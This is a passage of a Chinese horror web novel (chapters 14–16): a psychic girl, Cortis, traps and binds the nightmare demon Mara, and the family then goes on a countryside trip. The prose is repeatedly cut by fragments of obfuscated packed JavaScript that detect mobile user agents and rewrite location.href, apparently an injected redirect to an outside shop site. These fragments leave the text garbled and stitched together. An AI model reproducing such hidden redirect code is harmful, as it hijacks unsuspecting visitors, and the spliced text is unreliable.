l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404636|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然幼童一般嚎啕大哭起来。“怎么都没用…然后那天晚上,我就梦到那个恶灵。” 互助会之后。 科蒂斯抓住重点。 她记得很清楚,玛莎起初也只是单纯地睡不好而已,自从去了互助会之后,才开始做噩梦梦到玛拉。 可是,并不是所有互助会上的人都被玛拉盯上。 这些被标记的人,除此之外还有什么共同点? 科蒂斯回忆着所有人的资料和分享时的状态,忽然她灵光一闪,想到了一个可能。 “你为什么睡不着?”她问。 墨镜男:“我…我不能说。” “你都要死了,还有什么不能说的。”女人的话语冰冷无情,可确实是戳中了墨镜男的内心。 “我…我做了一件错事。”他哽咽道,将内心尘封的那段记忆慢慢剖析。“我曾经是一家吸尘器公司的推销员,可是那家吸尘器偷工减料,用的时间太长会有起火风险。我明知道那些吸尘器有问题,却还是对客户隐瞒,卖了出去,最后,好多人死了,噢,里面还有孩子,我有罪…我该受到惩罚!” 罪恶与愧疚。 科蒂斯猜测,这极有可能就是吸引玛拉前来的原因。 而玛莎则是一直没有放下对亚当的愧疚,她始终都认为是自己的疏忽才让亚当遭到绑架。 好极了,清楚原因,就能知道该如何行动。 “很好,谢谢你的分享。”科蒂斯转身欲走。 “不!等等!”墨镜男叫住她。“别走!拜托!” 科蒂斯歪歪头,看穿了他的心思:“你想让我帮你解脱?” 墨镜男点点头:“这太痛苦了,帮我,求你帮我。” 如果是普通人,肯定不会答应。杀人是需要承受极大的心理压力的,哪怕是为了解脱对方也照样。 几乎没人会愿意为了别人而让自己手染鲜血。 但科蒂斯不同。 她向来不在乎这些,只有能达成目标,什么都可以做。 至于帮一个可怜人解脱? 顺手的事而已。 她将镇静剂调到最快,拿来柔软的枕头,盖在了墨镜男脸上。 只是枕头刚放下去,他就不动了。 嗯?没这么快的吧? 不对。 科蒂斯微眯起眼睛,她察觉出自己又不能动了。 脖颈处一阵阴风吹来,激起一片鸡皮疙瘩。 是玛拉,她弓成九十度,趴在她的肩头,身体,凌乱的黑发耷拉在她的肩上,带来丝丝痒意。 她再一次感受到了玛拉。 可她并没有睡着。 是只有她一人会这样吗? 明明没有被标记,却也见到了玛拉,不仅如此,还跳过了所有阶段与规则,与其直接触碰。 这是玛拉所为? 还是她自身的独特之处? 科蒂斯还没搞清楚原因。 但能确定的是,玛拉依旧没打算伤害自己。 她略过她,爬上了墨镜男的床。 墨镜男的意识尚且清醒,他眼珠凸出,死死地盯着玛拉,恐惧与痛苦溢出。 玛拉双手攀附上男人的四肢,她那双瘦长的胳膊极其有力,轻而易举地便将男人的四肢全部扭断。 墨镜男惨叫起来,下一秒,他的脖子被利落扭断。 他不甘地睁着双眼,正好与科蒂斯四目相对。 收到想要的灵魂,玛拉退下了床就要离开,可是在离开前,她做出了一个极为人类的动作。 她回头,深深地“看”了科蒂斯一眼。 而科蒂斯也神奇地从对方的动作中读懂了她的意思。 她在说——有趣。 一个晃神,科蒂斯恢复了身体的行动,她火速离开医院。 14.第 14 章 一次是偶然,两次就是必然。 科蒂斯确定,玛拉不是不想伤害自己,而是不能。 她没有愧疚,也没有睡觉,并没有进入她的规则范围内。 因此,她动不了她。 可是,没有触碰规则的她,却能在玛拉本体现身收割灵魂时看到并接触对方,这点也的确引起了对方的兴趣。 或者说引起了某些能被称为“兴趣”的东西。 看来自己真的很特别,这份特别或许能成为条件。 科蒂斯思索着。 她找到一座公共电话亭,给道吉打过去。 对方很快接了电话:“你好?” “是我。”科蒂斯压着嗓子,改变音色变成K的声音。 道吉:“K?” “时间紧急,我只问你一个问题,”科蒂斯快去说道。“你失眠是不是因为愧疚?” 电话那头许久没传来声音。 半晌,道吉嘶哑的声音传来:“你怎么知道的?” 科蒂斯:“所以我说中了?” 又是一阵沉吟声,在科蒂斯以为对方不会再开口后,道吉说话了:“我曾经误杀了一个小女孩儿,她只有五岁,我永远都不会原谅自己,每次午夜梦回,我都会梦到她。” 看来一切都和自己推测的一样。 科蒂斯嘴角微微上扬:“恭喜你有机会活下去了。” 道吉声音一顿,急忙追问:“什么意思?” 科蒂斯没有隐瞒,将自己的猜测告诉了他。 只是摸清楚原因是一回事,能够原谅自己曾经的罪恶又是另一回事,如果做不到释怀,该死还得死。 “这是我能为你提供的所有帮助,你能不能从玛拉手里逃脱,就看你自己了。”没有得到回应,科蒂斯也不在意,挂断电话。 虽然对道吉很硬气,可是对玛莎,科蒂斯就有些头疼。 玛莎能释怀吗? 她非常不确定。 回到家,熟练地从窗户翻进去到二楼,再装作刚从房间出来的样子。 科蒂斯边下楼边喊着玛莎,屋里迟迟没有回应。 “妈妈?”她提起警惕,下到客厅,正好看到玛莎在沙发上睡觉,眼珠疯狂颤动,是想醒却醒不过来的模样。 “该死!”科蒂斯咒骂一声,冲过去疯狂摇晃玛莎。“妈妈!” 玛莎清醒过来,瞳孔还在乱颤,她抱住自己,视线四处搜寻,貌似在寻找某个东西。 “妈妈?”科蒂斯声音很轻。“你又做噩梦了?” 玛莎打了个冷战,意识回笼:“科蒂斯?” 科蒂斯:“是我,妈妈。” “是的,又是噩梦。”玛莎强压着心里的恐惧,将科蒂斯抱进怀里。“谢谢你叫醒我亲爱的。” 科蒂斯垂下睫毛,思索片刻后说道:“我听见你说梦话了妈妈。” 玛莎:“我有吗?” 科蒂斯点头:“你在喊不要碰我的孩子,还叫了好几次亚当的名字。” 玛莎呼吸一滞。 女孩儿的声音又轻又柔,像是从她的梦境中传出,直接戳穿她想掩饰的一切。 “你是还在怪自己吗?妈妈?” 玛莎不敢回答。 她知道,女孩儿一向聪慧机敏,如果她撒谎,那一定会被识破,可让她开口谈这件事,她还做不到。 于是,玛莎任性地动用了大人的权利:“把这件事留给大人们来讨论,好吗宝贝?” 科蒂斯没有吭声。 她知道释怀没有那么容易,可没想到仅仅只是让玛莎开口就那么难。 不过,还有另一个人应该能做到更多。 “妈妈?”亚当不知道站在两人后面多久了,他明显听见了那段谈话。 男孩伤心地瘪起嘴:“是我让你烦恼了吗?你这几天睡不好觉,都是因为我吗?” 玛莎瞬间慌乱起来,她抱科蒂斯到沙发上,然后立刻来到亚当面前。 “不不不,当然不是宝贝。”她蹲下身,双手捧住亚当的脸。“你永远都不会是我的烦恼。” 亚当眨巴眨巴,泪珠子滚下来:“但是你还没有原谅自己,可那明明是我的错。” “噢,亚当,亲爱的。”玛莎抱住他,柔声安慰。“我只是…只是总在想,当初为什么没有发现你不见了,那是我的疏忽。” “才不是。”亚当哽咽地反驳。“是我自己偷偷跑出去的。” 还是在恰吉的帮助下,玛莎发现不了理所当然。 亚当没想到,他那次听恰吉的话离家出走了,居然会造成妈妈的心理阴影。 “我很抱歉,妈妈,你应该怪我才对。”他趴在玛莎肩头哭泣。 玛莎:“噢,不不,亲爱的,我没有怪任何人,我只是有点后悔。别这么担心我,好吗?” 科蒂斯没有出声,把场地交给两人。 一直到亚当哭累了,玛莎把他送回房间休息,科蒂斯才找到机会再次同她交谈。 “你还好吗妈妈?”她问。 玛莎揉了揉红彤彤的眼睛,露出个难看的笑:“是的。” 科蒂斯坐到她身边:“你还在责备自己吗?” 玛莎愣了又愣,她抚摸着女儿顺滑的长发,许久,才说道:“我不知道。” 科蒂斯的睫毛颤了颤,眸中流露出些许无奈。 不知道等同于没有。 看来这条路短时间内走不通。 她还是得想办法拿下玛拉。 洗好澡,盖上软和的被子,在听完玛莎的睡前故事后,准备睡觉的科蒂斯开始了自己的计划。 玛拉的下一个攻击目标不知道是谁,所以她准备利用自己引来玛拉的本体。 等待不如主动出击。 那么她如何产生愧疚? 很简单,控制自己的大脑就可以了。 所谓情绪,也就是大脑不同区域所调节的产物而已。 控制别人的大脑很难,能力运用不好,要么对方变傻子,要么自己变傻子,但控制自己的则简单很多。 科蒂斯动用起能力,强迫自己闭上眼睛。 不知道过了多久,科蒂斯醒了过来。 她的意识极为清醒,但身体完全瘫痪,连一根手指都动不了。 她知道,这是在做梦,而玛拉很快就要出现。 一转眼,果不其然看见衣柜莫名其妙出现了一道缝隙。 嘎吱——嘎吱—— 衣柜门被缓缓推开,可又没有全部打开,半遮半掩,引诱人好奇去瞧里面究竟是什么东西。 再一看,一双几乎要全部凹陷下去的眼窝勉强兜着一对没有虹膜的浑浊眼珠,而那双眼珠,哀怨地看着你。 科蒂斯内心没有任何波动,只是在思考玛拉会不会又跟之前一样直接跳过前几个阶段对她动手。 可惜没有。 在下一次眨眼时,科蒂斯从梦境中清醒过来。 很好,看来她进入规则之后,玛拉同样不得不遵守规则,直到最终阶段本体才能现身。 那么现在还不够。 她需要加快进度。 科蒂斯刺激着自己的大脑,愧疚感喷涌而出,这让她头一次有想哭的感觉。 她想到了她杀死的杰弗里,那个只是想找回维多利亚的父亲。 她又想到了亚当被绑架,如果不是她的推波助澜,他也许不会遇到抓取者,这样玛莎也不会因此愧疚…或许她就不该来到这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411226|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新家。 科蒂斯猛的打断自己的联想,眼角抽了抽。 Shit,原来被情绪控制是这么糟糕的事。都让她产生莫名其妙的想法了。 科蒂斯晃晃脑袋,又睡了过去。 没让人失望,她再次见到了玛拉。 科蒂斯清楚,这个阶段的玛拉只是幻想,用来惊扰人睡觉与精神的工具而已。 虽然没什么感觉,但她还是很配合地惊醒过来。 就这么折腾了一夜,等第二天一早醒来,科蒂斯成功发现眼睛底下多了一小块红色印记。 她准备白天继续,只是才刚睡着,就被伊迪丝鼻尖贴着鼻尖叫醒。 “怎么了妈妈?为什么白天出来了?”科蒂斯还以为出了什么紧急情况。 可看了一圈,亚当在隔壁打电动,玛莎在楼下做家务,房子里也没外人或者外鬼闯入,一切都很平静。 而伊迪丝迟迟没有回答她的问题。 科蒂斯不解,但选择继续睡觉。 又是没过一会儿,一股直冲脑门的寒气冻醒了她。 科蒂斯眨了眨眼,扫视了一下时钟,刚好二十分钟,她猜测:“你怕我受伤吗?妈妈?” 伊迪丝漂浮着的身躯僵住一瞬,那张仿佛被撕裂了一般的青灰鬼脸转过九十度,不回答。 科蒂斯歪了歪头,继续问:“你不同意我的计划?” 伊迪丝的头又转了过九十度。 看来是不同意。 “我必须这么做,妈妈。”科蒂斯上前,把伊迪丝一百八十度反转的脑袋转回来。“家人之间必须要互相守护。而且,我有你帮我啊,我一点都不怕。” 伊迪丝依旧没有回应。 科蒂斯眉尖微挑:“难道妈妈你觉得自己对付不了玛拉吗?” 伊迪丝瞪了瞪眼睛,咧开嘴无声尖叫,蛛网一般的黑发飘在身后,显得有些恐怖。 科蒂斯:“哈哈,我当然是觉得你更厉害。” 她抱住伊迪丝的腰,蹭了蹭:“相信我,并一直守护我吧,妈妈。” 可怖的恶灵沉默许久,终是抬起手,搂住了身形单薄的小女孩儿。 说服伊迪丝之后,科蒂斯马不停蹄地继续行动。 她放任自己在噩梦中游离,她必须得赶在玛莎之前引来玛拉的本体。 事实也没让她失望,午餐过后的小憩时间,她与玛拉总算在梦中接触。 恶灵冰凉的身体爬上她的床,压上她的身体。 科蒂斯感受到那颗脏乱的脑袋逐渐上移,从小腹到胸膛,又经过脖子和嘴唇,最后与她面对面。 诶? 科蒂斯微愣。 因为这回玛拉并没有盖着头发掩饰自己的面容。 这一次她看见的,并不是那个比例失调的怪物,而是一位身姿绰约、面容绝美的女人。 黑色长发如鸦羽一般乌黑发亮,皮肤白皙的如同月光。单薄的睡裙包裹着她优美的身体,勾勒出异常惹眼的曲线。 她在冲科蒂斯微笑,红唇微提时候,像朵盛开的玫瑰。 如果不是那双没有瞳仁,只有眼白的眼睛,没人能看出这是个恶魔。 科蒂斯不解。 为什么玛拉要更换形象? 思索间,玛拉朝她低下头。 科蒂斯不知道她要做什么,但她明确对方还杀不了自己。 她眼睁睁瞧着那张美艳的脸离自己越来越近,那张嫣红的嘴唇也微微撅起,逐渐凑过来。 科蒂斯觉得,这位恶灵小姐也许不太懂法律。 而下一瞬,眼球一阵刺痛。 玛拉亲了她的眼睛? 科蒂斯更加不解了。 这是必要的程序吗? 15.第 15 章 科蒂斯从睡梦中醒了过来。 眼睛又干又涩,伴随着阵阵刺痛。 她看向镜子,果然,双眼一片血红。 她已成功来到第四阶段,如果睡觉,玛拉就会来杀死她。 所以亲吻眼睛就是开启第四阶段的钥匙? 她不是很懂。 科蒂斯提前买了全眼美瞳,戴上后再配合眼镜,不仔细看很难发现眼睛的异常。 再之后,她又和亚当打起配合,悄悄溜出了家门。 她得找间空房子,好让戏开场。 科蒂斯来到抓取者的房子,这里已经空置了很久。 在警方从后院挖出那五具尸体后,抓取者的哥哥,也就是房屋真正的主人麦克斯没过多久,就因为承受不住心理压力搬走了。 而抓取者的新闻实在重大,所以哪怕后来房地产中心将屋子翻新并挂出低价,也没人敢买,甚至左右邻居都搬走了。 没人敢来,也就成了科蒂斯的最佳场所。 她随便瘫在沙发上,睡了过去。 许久过后,她清醒过来,无事发生。 玛拉没来?为什么? 科蒂斯取出随身的小镜子,确认自己的眼睛仍是通红的。 那么为什么玛拉没有按照规则出现? 是看穿了她的伪装? 还是说…有人先她一步到了第四阶段? 科蒂斯脑中闪过不妙的预感,火速赶回了家。 还好,玛莎虽然精神状态不佳,但她还活着,双眼也正常。 那还有谁呢? 科蒂斯想到了道吉。 她又马不停蹄地赶到道吉的家。 事实正如她所想,道吉已经来到第四阶段。 他为了不让自己睡觉,竟然想生生剪下自己的眼皮。 科蒂斯现身阻止了他。 “不要。” 道吉浑身一颤,难以置信地扭头看她:“K?” 科蒂斯:“看来你没能让自己释怀。” 道吉颓丧地撑着手臂:“如果能那么容易释怀,就不能称之为愧疚了。” 他打量了女人一眼,猜测:“你的家人也没做到?” 沉默就是最好的答案。 “所以你来找我是为什么?”道吉绝望地看着镜中的自己。“我很快就要死了。” 他盯着镜子的右上角,恍若那里存在着什么。 “玛拉,她在跟着我,她就等着我睡觉的那一刻!” “我正是来找她的。” 女人一如既往的淡漠声音钻入道吉大脑,他掏了掏耳朵,以为是自己听错了。 道吉:“你说什么?” 科蒂斯又重复一遍:“我来找玛拉。我本来想靠自己引她过来,可没想到她更喜欢你。” 道吉眼皮抽了抽,似是头一次认识到眼前神秘女人的疯狂。 “你没在开玩笑?”他讥讽道。“你想引玛拉来?” 科蒂斯抬头,露出了那双通红的眼睛。 “真该死!”道吉大退几步,撞上桌子。“你真是个疯子!” 科蒂斯:“所以,我需要你的配合。” 道吉很快明白过来:“你想让我睡觉,好让玛拉现身?” 科蒂斯:“没错。” “不了孩子,我还想活!哪怕只剩几个小时!”道吉暗叫不妙,转身想从抽屉里拿出枪。 “这可由不得你。”科蒂斯快步上前,一个手刀劈晕了他。“睡个好觉,道吉。” 科蒂斯绕过道吉,坐在一旁的沙发椅上,也慢慢睡熟过去。 …… 科蒂斯先道吉“醒”过来。 不对,她在做梦,只不过是清醒梦。 身体瘫痪,意识清醒。 而玛拉,终于现身。 这一次她仍是以怪物的形象出现,只不过,一出现就直奔道吉而去。 科蒂斯:? 为什么忽略她? 难道不应该直冲她来吗? 玛拉骑上道吉的身体,而道吉也醒了过来,他紧闭双眼,浑身颤抖,像是看到了此生最害怕的东西。 不对,不对不对,他还在做梦! 科蒂斯突然察觉到这一点。 那她现在,究竟是在现实中?还是在梦中?亦或是二者的交界处? 那么此时的她,能否“醒”过来? 玛拉的胳膊已经攀上了道吉的四肢,成年男人的粗壮四肢,在她手中脆弱地像是布娃娃。 道吉的手臂渐渐向不同方向扭转过去。 梦中的摧残映照到现实中。 道吉的身体凭空而起,四肢开始扭曲。 突然间,头顶的灯泡不明所以地爆开。 紧接着,扭曲停止了。 不是玛拉停下,而是被某种看不见的力量强行阻止了。 玛拉忽然转头看向科蒂斯。 只见,金发蓝眼的小女孩儿缓缓从沙发椅上站了起来。 科蒂斯看了看道吉和自己的状态,确定了想法:“你果然一次只能对一个目标下手,难怪没先来找我呢。现在这里不算梦境,也不能算现实现实,多半是两者的交界处,对吧?” 科蒂斯:“在这里,你可以利用梦境操纵现实,同时也可以短暂投身于现实,大概是想享受人间的自由?” 玛拉没有回答,却缓步朝科蒂斯走来,而她的形象也慢慢褪去恐怖,变成绝美女人的样子,身上肮脏陈旧的罩袍也变成了白丝绸睡裙。 科蒂斯好似对她的变化没有察觉,继续说道。 “你最多只能做到这个地步吧,身为梦魇之灵的你没办法跨过自己的规则,以实体完全存在于现实世界,只能在收割目标灵魂时现身。” 而她太特别了,明明不算目标,却能在玛拉现身时于现实中看到她,触碰她。 所以,玛拉才那么对她感兴趣。 因为她终于找到一副能帮助她降临现实世界的完美身躯。 她想要她,想要真正来到这个世界。 玛拉弯下腰,那张漂亮的脸上突然裂开一张血盆大嘴,冲科蒂斯咆哮。 “既然这是梦境,那我也可以稍作改变。” 科蒂斯说着,抬起手,原本只能对实体起作用的念动力瞬间短暂压制住了面前的玛拉,同时也制住了现实中玛拉的动作。 “妈妈!” 现实中,沙发椅上的女孩儿低声呢喃。 一群黑色的飞蛾忽的从墙角扑来,伊迪丝的身形从中钻出,狠狠撞上玛拉的身体。 蛛网般的长发蔓延,瞬间缠绕上玛拉,势要将其撕碎。 可是下一秒,长发从内部被挣开,碎了一地。 暴怒的玛拉嘶吼着,瘦长的身躯朝伊迪丝奔去。 两个恶灵谁也不让谁,同样干枯的身体碰撞着,一时之间分不出上下。 可是渐渐的,伊迪丝的力量弱下去,玛拉的力量却还是源源不断。 她随时可以从目标的噩梦中汲取能量! 很快,伊迪丝支撑不住,气势萎靡下去。 玛拉乘胜追击,撕开了伊迪丝的一条手臂。她压上对方的身体,双手疯狂撕扯。 伊迪丝略显狼狈,但仍旧是不肯放弃,裂开的嘴猛的咬上玛拉的肩膀,活生生啃下一块肉来。 玛拉气急败坏,嘶吼一声,伊迪丝瞬间动弹不得。 是玛拉的力量! 她干瘦如柴的胳膊抱住了伊迪丝的头,将其生生扯断! 伊迪丝惨叫一声,身躯随风消散。 梦境中,科蒂斯感应到了什么。 好吧,就知道事情不会那样顺利。 科蒂斯抹了一把鼻血,无奈地想。 不过,玛拉也不是全身而退。 梦境中的玛拉,那圆润莹白的肩膀缺了一个大口子,像是被一头野兽啃食的一般。 不过她对此毫不在意,反而是面带微笑,以胜利者的姿态来到科蒂斯面前。 科蒂斯神奇地从那双全白的眼睛中看出了得意的神色。 “看来是你赢了。”科蒂斯耸耸肩。“但我想你还没办法带走我。我已经释然了。” 玛拉脸上的笑容僵住了。 她的确感知到,面前的女孩儿毫无愧疚。 “啊啊啊!”她尖啸出声,又变回了可怕的模样。 科蒂斯神情未动,悠悠说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414803|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“或许我们可以做个交易。” 玛拉顿了顿,示意她继续说。 “你可以得到我。”科蒂斯抬眼,蓝色的眸子看不出任何情绪,平静如湖面。“作为交换,你要放过我妈妈。” 她顿了顿,朝道吉抬了抬下巴:“还有他。” 玛拉来了兴趣,又变回美丽女人的模样。 她抬手,柔软的双手捧起科蒂斯的脸颊,那双白色的眼睛在她脸上看了又看,最后很满意地点了点头。 接着,她粗暴地撑开科蒂斯的右眼皮,在那颗好似蓝宝石的眸子上落下一吻。 热烈却冰冷,留下一块不可磨灭的红色印记覆盖了整个瞳仁。 “嘶。”科蒂斯捂住右眼痛呼出声,她微喘着气,说道。“但是,能不能再给我一天的时间去跟我的家人告别?” 玛拉心情很好,这种小条件自然同意。 科蒂斯:“所以我们达成共识了对吧,小姨?” 玛拉大方地点点头。 虽然不太明白为什么要叫她这个称呼,但无所谓,契约已经达成,女孩儿的身体注定是她的。 这时,科蒂斯等待的系统终于传来提示。 【姓名:玛拉】 【状态:恶魔(低等)】 【生平简介:冥界女神海拉仆从,专司噩梦、睡眠压迫,具有多种不同形态,常用形态为美丽女子、诡异老妇等,少见形态猫、狗及男性,铁器和鸡鸣是她的弱点。】 女孩儿弯起了嘴角,她拿开手,右眼居然已经恢复正常。 “欢迎加入我的家庭,小姨。” 玛拉脸色陡变,她本能地感知到威胁,立刻出手想杀了女孩儿。 但是,手刚伸出,一股极致的痛苦传来,那仿佛是被上帝之光照射一般的疼痛,让她忍不住痛的满地打滚。 科蒂斯神情冷漠:“现在,是时候让我醒过来了。” 话音刚落,沙发上的女孩儿睁开了双眼。 但躺在地上的道吉还没从梦中出来。 现实世界中,玛拉同样痛苦哀嚎。 她不明白究竟发生了什么,搞不懂为什么成立的契约转瞬即逝。 “不要再想着伤害我了。”科蒂斯好整以暇地看着玛拉的惨状。“你只要有这个想法,就会一直痛苦下去,直到消亡。” 玛拉闻言,暂时放下了对科蒂斯的攻击念头。果不其然,疼痛立刻消散,而当她又提起杀害女孩儿的心思时,痛苦之潮便如同海水般扑向她。 她趴在地上,恶狠狠地瞪着女孩儿,忽然惊讶发现,女孩儿身后又飞来许多黑色的飞蛾。 那些飞蛾汇聚在一起,变回人形。 到此刻,玛拉才总算接受现实——她被一个五岁的人类小姑娘耍了。 “你是不是很好奇我做了什么?”科蒂斯走近她,背着小手,弯下腰,漫不经心地说出了令玛拉从未想过的答案。“很简单,因为我的规则在你之上。” 玛拉垂下头,不甘地低吼。 “特别的存在自然会有特别的力量,想不到这点的你实在是太蠢了。”科蒂斯踱步到道吉身边。“现在,收回所有人的标记,跟我一起回家吧。” “小姨。” 当道吉再次醒来,并发现自己不仅还活着,玛拉的标记也消失时,他激动地差点流下眼泪。 “谢谢,K,谢谢。”他双膝跪地,朝着上天,为那名救了他的神秘女士祈祷。 等科蒂斯回到家,便发现玛莎累的在沙发上睡着了。 这一次,她睡的很安稳。 亚当躺在她怀里,同样睡的香甜。 “做个好梦,妈妈。” 科蒂斯回了房间,就见玛拉站在墙角,对她咬牙切齿。 “如果你还想杀我,欢迎继续守着尝试。如果不想,那就别打扰我睡觉。”科蒂斯踢掉鞋子,没形象地躺到床上。 玛拉等了很久,在又一次尝到痛苦后,终是不甘地彻底放弃伤害女孩儿的想法,渐渐消失。 科蒂斯也不想管她的去向,反正只要绑定了,她以后可以随时叫她来自己身边。 她打了个哈欠,同样沉沉睡去。 她真的要累坏了。 16.第 16 章 科蒂斯拢了拢防晒外套的袖子,抬头看着面前的房子,看看左边,没有恶灵,再看看右边,很好,也没有恶灵。 她稍稍放松下来,把这次出行当做一场普通的旅行。 身后,克里斯和玛莎拖着行李箱走来,亚当不太情愿地跟在最后。 他们一家是来这幢乡下的房子放松的。 最近克里斯跟着的项目成功竣工,他也总算迎来了难得的一周时间的休假,再加上家里发生的一些糟心事,克里斯就想着带一家人去总是别的地方转转,换一换心情。 刚好,他的一位朋友前不久才从一家人手里买来这幢乡间别墅用作度假场所。据他所说价格很便宜,那家人貌似急需用钱,卖的很仓促。 而在听说克里斯有休假的想法后,朋友便将这里的地址和钥匙给了他,让他尽情使用。 本来时间就紧,克里斯不打算精挑细选目的地来着,这下朋友直接替他省了挑选的时间,他自然乐得答应。 “就是这里,看起来很不错,huh?”克里斯笑着说。 他本来以为朋友说的超便宜的房子只是个普通的乡下小木屋,没想到会超乎他的想象。 房子外表看起来相当不错,面积大,浅棕色的外墙很干净,有被人好好维护的样子。 后院是一大片修剪整齐的草坪,一棵歪脖子树自然生长,很是别致。 “走吧,孩子们,我们接下来会在这里玩的很开心的。”玛莎也对这里很满意。 对她来说,远离城市喧嚣就是最好的放松。 在场唯有亚当不太高兴。 他觉得这里真是太无聊了,没有百货超市,没有游乐园,也没有影院。离城市太远,他甚至连外卖都点不到。 噢,他还说好要跟朋友们聚一起玩新出的网游呢。这下好了,都泡汤了。 不过见科蒂斯没有表达出不满,而爸爸妈妈也很喜欢这里,于是亚当也没有抱怨,只是自顾自地想着打发时间的方法。 几人进了房子,里面同样干净整洁,明显是有定期在维护。 “OK,孩子们,”克里斯对科蒂斯两人说道。“你们可以先选房间,我等下会帮你们把东西放进去。” 房子很大,房间也很多,亚当率先上了二楼。 比起一楼,二楼的采光和视线要更好。 而科蒂斯却还在一楼转悠,她选择了靠后院歪脖子比较近的房间,一打开窗户就能看到那颗别具一格的树。 她喜欢这棵树,因为伊迪丝妈妈喜欢。 枯瘦如柴、面色青灰的恶灵爬到了树杈上,头颅以不自然的角度歪扭着,盯着科蒂斯。 刚好,晚上睡觉她也不算关上窗户,这样伊迪丝妈妈可以随时看到她。 “科蒂斯,你选了这间房?”亚当抱着游戏机找到这里。“这里阴森森的,都没有太阳诶。” 科蒂斯笑了笑:“这里通风和视野都挺好的。” “是吗?”亚当凑上前,透过窗户往外看,好端端的视野都被那颗怪怪的大树挡住了,他不理解哪里好。“没觉得呀。但你选了这间的话,那我搬到隔壁好了。” 说完就噔噔噔地跑上楼,把自己的东西抱了下来。 科蒂斯没来得及阻止,只好让伊迪丝妈妈小心被亚当瞧见。 等几人安顿好自己的房间,克里斯在后院搭了空气泳池,招呼他们下来玩。 天气正炎热,玛莎又在墙边支好遮阳伞,还搬来躺椅和冰镇汽水。她和克里斯一起悠闲地躺下,看着孩子们玩水。 科蒂斯穿了一件天蓝色印有小鸭子的连体儿童泳衣,套着泳圈坐在泳池边上,长发被玛莎扎成马尾,上边还绑了个漂亮的蝴蝶结。 她没有下水,只是脚丫划拉着水面,放松着,放松着,渐渐把自己摊成一团棉花糖。 亚当则穿着条深蓝色的泳裤,戴着泳镜学潜水。好笑的是,明明之前不情不愿的是他,现在玩的最开心的反而也是他。 没一会儿,亚当就游到了科蒂斯附近,戳了戳她的小腿。 “嗯?”科蒂斯回神。“怎么了亚当?” “跟我一起玩啊,科蒂斯。”亚当不满地撅起嘴。“我一个人很无聊的。” 科蒂斯眨了眨眼:“好呀,要玩什么。” 亚当想了想,忽然坏笑一下,脑袋一缩又潜进了水里。 水面晃荡着,只能看到亚当漂浮着的毛茸茸的头顶,科蒂斯不明所以,下意识凑近看。 下一秒,亚当猛的从水里窜出来,带起的水花溅了科蒂斯一身。 “哇!哈哈哈哈!”亚当拍着手大笑,对自己的恶作剧很满意。 科蒂斯呆住,蓝色的大眼睛懵懵地睁着,头发也被打湿,湿哒哒地黏在肩颈上。 她这是…被恶作剧了? 科蒂斯后知后觉。 可神奇的是,她一点都不讨厌这个恶作剧,反而有想笑的冲动。 亚当嘻嘻地笑起来,一把拉下了科蒂斯,不等她反应过来,两只手捧起水直往女孩儿身上泼。 科蒂斯笑出了声,响亮,自然,是没有经过任何设计、真正属于孩子的笑。 她同样捧起水,回敬自己调皮的哥哥。 “干的好!小伙子!”克里斯在岸上为亚当呐喊。“让这位小姑娘瞧瞧我们男孩子的厉害!” “喔?真会说大话。”玛莎站起来,为科蒂斯加油。“加油!小小姐!干掉对面,别让他们小瞧了女孩子!” 两人喊着,也迫不及待地冲进了泳池里,各自为营开始“混战”。 他们闹着,笑着,在这个炎热的下午,激起一场温馨的浪花。 玩闹持续到晚餐时间,玛莎得去准备晚饭,亚当帮着克里斯收拾泳池,科蒂斯则是将泳圈、泳镜这些小东西收好。 她装好箱,按克里斯说的放到二楼的储物间。 刚放好东西,科蒂斯准备离开时,储物间旁边的阁楼楼梯突然掉了下来,砰的一下,不偏不倚砸在了她的脚边。 她朝上看去,阁楼口黑黝黝的,里面什么都看不清,但似有一股魔力,吸引人进去。 科蒂斯蹙着眉,踢了踢楼梯。 楼梯的质量还不错,不像是年久失修自己掉下来的。 那么,会是谁故意放下来的吗? 想了想,她还是爬上楼梯。 阁楼里面光线还算不错,一扇圆形的窗户足够大,采光很好,只是似乎许久没有人打开过,里头弥漫着一股潮湿的霉味儿。 刚上来,科蒂斯就瞧见了放在阁楼正中央的那个箱子。 深棕色的薄铁皮箱子孤零零地放在那儿,周围什么都没有,可明明阁楼的角落里堆满了杂物。 真是一眼就能看穿的不正常。 但是,却能最大程度激起人的好奇心。 科蒂斯倒不好奇里面的是什么,她好奇的是会是谁…或者说什么存在把箱子放在这里的? 她缓步走近,突然,一只老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17419272|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 